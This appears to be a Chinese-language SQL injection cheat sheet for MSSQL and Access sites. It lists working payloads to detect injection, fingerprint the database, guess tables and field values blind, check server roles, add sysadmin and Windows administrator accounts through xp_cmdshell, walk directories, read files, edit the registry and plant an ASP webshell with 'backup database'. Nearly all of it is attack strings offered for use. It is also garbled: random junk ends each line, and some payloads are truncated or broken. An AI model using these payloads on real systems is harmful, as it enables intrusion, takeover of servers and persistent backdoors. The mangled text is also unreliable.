1.判断是否有注入;and 1=1 ;and 1=2 1zRO==b
2.初步判断是否是mssql ;and user>0 7[LC*nrr
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3.注入参数是字符'and [查询条件] and ''=' Gj=il-Po
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' uypD`%pC
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5.判断数据库系统 q9Q4F
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;and (select count(*) from sysobjects)>0 mssql T[~X~dqwn"
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;and (select count(*) from msysobjects)>0 access ,P^"X5$
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 e
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Ax
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 @y +Wl*:
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9.(1)猜字段的ascii值(access) Oaui@q
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(2)猜字段的ascii值(mssql) 9E5B.qlw$l
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 "'%x|nB
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10.测试权限结构(mssql) Ks4TBi&J
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- /)~McP3
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Z=#!FZ{
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- d97wiE/i<
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- xaPTTa
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Q9(
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;and 1=(select IS_MEMBER('db_owner'));-- #VLTx!5o
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11.添加mssql和系统的帐户 }RXm=ArN
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;exec master.dbo.sp_addlogin username;-- Q.x3_+CX
;exec master.dbo.sp_password null,username,password;-- XWkYhTaY
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- &TKB8vx=#
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;exec master.dbo.xp_cmdshell 'net user username password g1Aq;Ah /
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- gP`8hNwR
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0Nmd*r
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12.(1)遍历目录 l2xM.vR
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;create table dirs(paths varchar(100), id int) tip\vS)
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;insert dirs exec master.dbo.xp_dirtree 'c:\' <~'\~Z d+
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;and (select top 1 paths from dirs)>0 iJU]|t
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 4~D?F'o
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(2)遍历目录 0m!+gZ@
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- woQYP,
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3s" Rv@
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4;x{@Ln
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 o@vo,JU
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 }Dm-Ibdg(
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13.mssql中的存储过程 z.--"cF
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xp_regenumvalues 注册表根键, 子键 )bXiw3'A
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ,..&j+m
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xp_regread 根键,子键,键值名 }O-|b#Q
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;exec xp_regread 7?xTJN)G
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 xh,};TS(K
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xp_regwrite 根键,子键, 值名, 值类型, 值 4u0=/pfi[
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Pd6 p)zj
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 IOtSAf
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xp_regdeletevalue 根键,子键,值名 q{ i9VJ]
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 L TzD\C'
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 B|zJrz0q3
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14.mssql的backup创建webshell q,(U 8
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create table cmd(str image); cxn3e,d`
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insert into cmd(str) values (''); {26/SY
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backup database model to disk='c:\l.asp'; E<y0;l?H<
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15.mssql内置函数 qj/
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;and (select @@version)>0 获得Windows的版本号 ZCVwQ#Xe+
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ji9 (!G
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;and (select user_name())>0 爆当前系统的连接用户 PT4Wox9U
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;and (select db_name())>0 得到当前连接的数据库 Y">m g=B
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16.简洁的webshell YW9r'{(D(I
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use model
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create table cmd(str image); qmQ}
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insert into cmd(str) values (''); `Tw DR6&
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backup database model to disk='g:\wwwtest\l.asp';